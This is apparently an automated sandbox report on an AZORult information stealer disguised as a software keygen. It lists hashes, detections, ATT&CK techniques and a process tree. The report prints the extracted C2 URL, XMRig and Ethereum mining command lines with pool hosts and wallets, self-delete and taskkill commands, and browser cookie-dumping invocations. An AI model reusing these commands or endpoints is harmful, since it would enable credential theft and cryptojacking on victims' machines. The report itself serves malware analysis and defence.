azorult | f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

Target

[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Size

9.2MB
MD5

b806267b5f3b7760df56396b1cf05e6d
SHA1

5166d4c1d3e476281d9e991eababc3e4aa9ec5ad
SHA256

f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783
SHA512

30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Score

10^/10

azorult xmrig bootkit evasion infostealer macro miner persistence trojan upx xlm

Malware Config

Extracted

Family

azorult

http://kvaka.li/1210776429.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Nirsoft 4 IoCs

resource	yara_rule
behavioral1/files/0x000100000001ab71-80.dat	Nirsoft
behavioral1/files/0x000100000001ab71-79.dat	Nirsoft
behavioral1/files/0x000100000001ab97-102.dat	Nirsoft
behavioral1/files/0x000100000001ab97-100.dat	Nirsoft

XMRig Miner Payload 4 IoCs

miner

resource	yara_rule
behavioral1/memory/908-86-0x00000001402CA898-mapping.dmp	xmrig
behavioral1/memory/908-84-0x0000000140000000-0x000000014070A000-memory.dmp	xmrig
behavioral1/memory/908-94-0x0000000140000000-0x000000014070A000-memory.dmp	xmrig
behavioral1/memory/908-104-0x0000000140000000-0x000000014070A000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
27	1744	cmd.exe

Executes dropped EXE 9 IoCs

pid	Process
3992	keygen-pr.exe
4072	keygen-step-1.exe
3036	keygen-step-3.exe
4092	keygen-step-4.exe
1296	key.exe
1376	Setup.exe
2716	26FF190E7AE0F7C7.exe
2580	26FF190E7AE0F7C7.exe
1744	cmd.exe

Suspicious Office macro 1 IoCs

Office document equipped with 4.0 macros.

macro xlm

resource	yara_rule
behavioral1/files/0x000200000001ab56-30.dat	office_xlm_macros

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0002000000015603-90.dat	upx
behavioral1/files/0x0002000000015603-89.dat	upx
behavioral1/files/0x000100000001aba5-140.dat	upx
behavioral1/files/0x000100000001aba5-139.dat	upx
behavioral1/files/0x000100000001aba5-144.dat	upx
behavioral1/files/0x000100000001aba5-145.dat	upx

Loads dropped DLL 1 IoCs

pid	Process
4216	MsiExec.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Setup.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
85	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Setup.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1376	Setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4404	timeout.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
428	taskkill.exe
1696	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD	Setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576	Setup.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
4156	PING.EXE
1748	PING.EXE
2756	PING.EXE
696	PING.EXE
1828	PING.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2240	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2240	msiexec.exe
Token: SeSecurityPrivilege	3856	msiexec.exe
Token: SeCreateTokenPrivilege	2240	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2240	msiexec.exe
Token: SeLockMemoryPrivilege	2240	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2240	msiexec.exe
Token: SeMachineAccountPrivilege	2240	msiexec.exe
Token: SeTcbPrivilege	2240	msiexec.exe
Token: SeSecurityPrivilege	2240	msiexec.exe
Token: SeTakeOwnershipPrivilege	2240	msiexec.exe
Token: SeLoadDriverPrivilege	2240	msiexec.exe
Token: SeSystemProfilePrivilege	2240	msiexec.exe
Token: SeSystemtimePrivilege	2240	msiexec.exe
Token: SeProfSingleProcessPrivilege	2240	msiexec.exe
Token: SeIncBasePriorityPrivilege	2240	msiexec.exe
Token: SeCreatePagefilePrivilege	2240	msiexec.exe
Token: SeCreatePermanentPrivilege	2240	msiexec.exe
Token: SeBackupPrivilege	2240	msiexec.exe
Token: SeRestorePrivilege	2240	msiexec.exe
Token: SeShutdownPrivilege	2240	msiexec.exe
Token: SeDebugPrivilege	2240	msiexec.exe
Token: SeAuditPrivilege	2240	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2240	msiexec.exe
Token: SeChangeNotifyPrivilege	2240	msiexec.exe
Token: SeRemoteShutdownPrivilege	2240	msiexec.exe
Token: SeUndockPrivilege	2240	msiexec.exe
Token: SeSyncAgentPrivilege	2240	msiexec.exe
Token: SeEnableDelegationPrivilege	2240	msiexec.exe
Token: SeManageVolumePrivilege	2240	msiexec.exe
Token: SeImpersonatePrivilege	2240	msiexec.exe
Token: SeCreateGlobalPrivilege	2240	msiexec.exe
Token: SeCreateTokenPrivilege	2240	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2240	msiexec.exe
Token: SeLockMemoryPrivilege	2240	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2240	msiexec.exe
Token: SeMachineAccountPrivilege	2240	msiexec.exe
Token: SeTcbPrivilege	2240	msiexec.exe
Token: SeSecurityPrivilege	2240	msiexec.exe
Token: SeTakeOwnershipPrivilege	2240	msiexec.exe
Token: SeLoadDriverPrivilege	2240	msiexec.exe
Token: SeSystemProfilePrivilege	2240	msiexec.exe
Token: SeSystemtimePrivilege	2240	msiexec.exe
Token: SeProfSingleProcessPrivilege	2240	msiexec.exe
Token: SeIncBasePriorityPrivilege	2240	msiexec.exe
Token: SeCreatePagefilePrivilege	2240	msiexec.exe
Token: SeCreatePermanentPrivilege	2240	msiexec.exe
Token: SeBackupPrivilege	2240	msiexec.exe
Token: SeRestorePrivilege	2240	msiexec.exe
Token: SeShutdownPrivilege	2240	msiexec.exe
Token: SeDebugPrivilege	2240	msiexec.exe
Token: SeAuditPrivilege	2240	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2240	msiexec.exe
Token: SeChangeNotifyPrivilege	2240	msiexec.exe
Token: SeRemoteShutdownPrivilege	2240	msiexec.exe
Token: SeUndockPrivilege	2240	msiexec.exe
Token: SeSyncAgentPrivilege	2240	msiexec.exe
Token: SeEnableDelegationPrivilege	2240	msiexec.exe
Token: SeManageVolumePrivilege	2240	msiexec.exe
Token: SeImpersonatePrivilege	2240	msiexec.exe
Token: SeCreateGlobalPrivilege	2240	msiexec.exe
Token: SeCreateTokenPrivilege	2240	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2240	msiexec.exe
Token: SeLockMemoryPrivilege	2240	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2240	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1376	Setup.exe
2716	26FF190E7AE0F7C7.exe
2580	26FF190E7AE0F7C7.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 3160	4704	[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe	77
PID 4704 wrote to memory of 3160	4704	[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe	77
PID 4704 wrote to memory of 3160	4704	[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe	77
PID 3160 wrote to memory of 3992	3160	cmd.exe	80
PID 3160 wrote to memory of 3992	3160	cmd.exe	80
PID 3160 wrote to memory of 3992	3160	cmd.exe	80
PID 3160 wrote to memory of 4072	3160	cmd.exe	81
PID 3160 wrote to memory of 4072	3160	cmd.exe	81
PID 3160 wrote to memory of 4072	3160	cmd.exe	81
PID 3160 wrote to memory of 3036	3160	cmd.exe	82
PID 3160 wrote to memory of 3036	3160	cmd.exe	82
PID 3160 wrote to memory of 3036	3160	cmd.exe	82
PID 3160 wrote to memory of 4092	3160	cmd.exe	84
PID 3160 wrote to memory of 4092	3160	cmd.exe	84
PID 3160 wrote to memory of 4092	3160	cmd.exe	84
PID 3992 wrote to memory of 1296	3992	keygen-pr.exe	85
PID 3992 wrote to memory of 1296	3992	keygen-pr.exe	85
PID 3992 wrote to memory of 1296	3992	keygen-pr.exe	85
PID 4092 wrote to memory of 1376	4092	keygen-step-4.exe	86
PID 4092 wrote to memory of 1376	4092	keygen-step-4.exe	86
PID 4092 wrote to memory of 1376	4092	keygen-step-4.exe	86
PID 1296 wrote to memory of 1708	1296	key.exe	87
PID 1296 wrote to memory of 1708	1296	key.exe	87
PID 1296 wrote to memory of 1708	1296	key.exe	87
PID 3036 wrote to memory of 1824	3036	keygen-step-3.exe	88
PID 3036 wrote to memory of 1824	3036	keygen-step-3.exe	88
PID 3036 wrote to memory of 1824	3036	keygen-step-3.exe	88
PID 1824 wrote to memory of 1748	1824	cmd.exe	90
PID 1824 wrote to memory of 1748	1824	cmd.exe	90
PID 1824 wrote to memory of 1748	1824	cmd.exe	90
PID 1376 wrote to memory of 2240	1376	Setup.exe	91
PID 1376 wrote to memory of 2240	1376	Setup.exe	91
PID 1376 wrote to memory of 2240	1376	Setup.exe	91
PID 1376 wrote to memory of 2716	1376	Setup.exe	92
PID 1376 wrote to memory of 2716	1376	Setup.exe	92
PID 1376 wrote to memory of 2716	1376	Setup.exe	92
PID 1376 wrote to memory of 2580	1376	Setup.exe	93
PID 1376 wrote to memory of 2580	1376	Setup.exe	93
PID 1376 wrote to memory of 2580	1376	Setup.exe	93
PID 1376 wrote to memory of 4672	1376	Setup.exe	95
PID 1376 wrote to memory of 4672	1376	Setup.exe	95
PID 1376 wrote to memory of 4672	1376	Setup.exe	95
PID 3856 wrote to memory of 4216	3856	msiexec.exe	98
PID 3856 wrote to memory of 4216	3856	msiexec.exe	98
PID 3856 wrote to memory of 4216	3856	msiexec.exe	98
PID 4092 wrote to memory of 1744	4092	keygen-step-4.exe	129
PID 4092 wrote to memory of 1744	4092	keygen-step-4.exe	129
PID 4672 wrote to memory of 2756	4672	cmd.exe	99
PID 4672 wrote to memory of 2756	4672	cmd.exe	99
PID 4672 wrote to memory of 2756	4672	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
"C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
    keygen-pr.exe -p83fsase3Ge
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3992
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1296
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
        5⤵
        
        PID:1708
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
    keygen-step-1.exe
    3⤵
    - Executes dropped EXE
    PID:4072
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
    keygen-step-3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1824
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        5⤵
        Runs ping.exe
        
        PID:1748
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
    keygen-step-4.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4092
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      Writes to the Master Boot Record (MBR)
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Modifies system certificate store
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
        5⤵
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:2240
    - - C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
        
        C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:2716
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        6⤵
        
        PID:5076
      - C:\Users\Admin\AppData\Roaming\1617716846810.exe
        
        "C:\Users\Admin\AppData\Roaming\1617716846810.exe" /sjson "C:\Users\Admin\AppData\Roaming\1617716846810.txt"
        6⤵
        
        PID:1588
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        6⤵
        
        PID:2368
      - C:\Users\Admin\AppData\Roaming\1617716849857.exe
        
        "C:\Users\Admin\AppData\Roaming\1617716849857.exe" /sjson "C:\Users\Admin\AppData\Roaming\1617716849857.txt"
        6⤵
        
        PID:4804
      - C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
        
        C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
        6⤵
        
        PID:4200
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
        6⤵
        Blocklisted process makes network request
        Executes dropped EXE
        
        PID:1744
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 3
        7⤵
        Runs ping.exe
        
        PID:4156
    - - C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
        
        C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:2580
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:3956
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:428
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
        6⤵
        
        PID:4448
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 3
        7⤵
        Runs ping.exe
        
        PID:696
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4672
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 3
        6⤵
        Runs ping.exe
        
        PID:2756
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
      4⤵
      PID:1744
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
      4⤵
      PID:1048
    - - C:\Users\Admin\AppData\Roaming\8B5D.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\8B5D.tmp.exe"
        5⤵
        
        PID:4400
      - C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w23904 --cpu-max-threads-hint 50 -r 9999
        6⤵
        
        PID:908
      - C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w32219@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        6⤵
        
        PID:504
    - - C:\Users\Admin\AppData\Roaming\8C87.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\8C87.tmp.exe"
        5⤵
        
        PID:3152
      - C:\Windows\SysWOW64\cmd.exe
        
        /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\8C87.tmp.exe
        6⤵
        
        PID:3280
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3
        7⤵
        Delays execution with timeout.exe
        
        PID:4404
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
        5⤵
        
        PID:496
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        6⤵
        Runs ping.exe
        
        PID:1828
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
      4⤵
      PID:1324
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
      4⤵
      PID:2160
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
      4⤵
      PID:1644
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:4656
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        
        PID:1696
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
      4⤵
      PID:4512
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:2340
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:4576

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3856
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E063C6819B3DFE9EA3E5C3B6BB66A0F9 C
  2⤵
  - Loads dropped DLL
  PID:4216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Bootkit

T1067

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/504-105-0x0000000140000000-0x0000000140383000-memory.dmp

Filesize
3.5MB

Download
memory/504-93-0x0000000140000000-0x0000000140383000-memory.dmp

Filesize
3.5MB

Download
memory/908-84-0x0000000140000000-0x000000014070A000-memory.dmp

Filesize
7.0MB

Download
memory/908-104-0x0000000140000000-0x000000014070A000-memory.dmp

Filesize
7.0MB

Download
memory/908-94-0x0000000140000000-0x000000014070A000-memory.dmp

Filesize
7.0MB

Download
memory/908-91-0x000002564AF30000-0x000002564AF44000-memory.dmp

Filesize
80KB

Download
memory/908-108-0x000002564C720000-0x000002564C740000-memory.dmp

Filesize
128KB

Download
memory/1048-55-0x00000000001F0000-0x00000000001FD000-memory.dmp

Filesize
52KB

Download
memory/1048-82-0x0000000003500000-0x0000000003548000-memory.dmp

Filesize
288KB

Download
memory/1296-25-0x0000000002700000-0x000000000289C000-memory.dmp

Filesize
1.6MB

Download
memory/1376-24-0x0000000072E20000-0x0000000072EB3000-memory.dmp

Filesize
588KB

Download
memory/1376-28-0x0000000010000000-0x000000001033E000-memory.dmp

Filesize
3.2MB

Download
memory/1588-81-0x0000000072E20000-0x0000000072EB3000-memory.dmp

Filesize
588KB

Download
memory/1744-48-0x0000000001660000-0x0000000001662000-memory.dmp

Filesize
8KB

Download
memory/1744-44-0x0000000000D00000-0x0000000000D01000-memory.dmp

Filesize
4KB

Download
memory/1744-43-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp

Filesize
9.9MB

Download
memory/2160-117-0x0000000002170000-0x00000000021A3000-memory.dmp

Filesize
204KB

Download
memory/2160-113-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp

Filesize
9.9MB

Download
memory/2160-119-0x000000001ACC0000-0x000000001ACC2000-memory.dmp

Filesize
8KB

Download
memory/2160-118-0x0000000000860000-0x0000000000861000-memory.dmp

Filesize
4KB

Download
memory/2160-116-0x0000000000640000-0x0000000000641000-memory.dmp

Filesize
4KB

Download
memory/2160-114-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/2368-106-0x000001BA23260000-0x000001BA23261000-memory.dmp

Filesize
4KB

Download
memory/2368-99-0x00007FF86A380000-0x00007FF86A3FE000-memory.dmp

Filesize
504KB

Download
memory/2580-65-0x0000000003600000-0x0000000003AAF000-memory.dmp

Filesize
4.7MB

Download
memory/2580-37-0x0000000072E20000-0x0000000072EB3000-memory.dmp

Filesize
588KB

Download
memory/2716-35-0x0000000072E20000-0x0000000072EB3000-memory.dmp

Filesize
588KB

Download
memory/2716-53-0x0000000010000000-0x000000001033E000-memory.dmp

Filesize
3.2MB

Download
memory/2716-64-0x0000000002D30000-0x00000000031DF000-memory.dmp

Filesize
4.7MB

Download
memory/3152-147-0x0000000000400000-0x000000000587C000-memory.dmp

Filesize
84.5MB

Download
memory/3152-109-0x0000000007800000-0x000000000CC7C000-memory.dmp

Filesize
84.5MB

Download
memory/4200-134-0x0000000072E20000-0x0000000072EB3000-memory.dmp

Filesize
588KB

Download
memory/4804-103-0x0000000072E20000-0x0000000072EB3000-memory.dmp

Filesize
588KB

Download
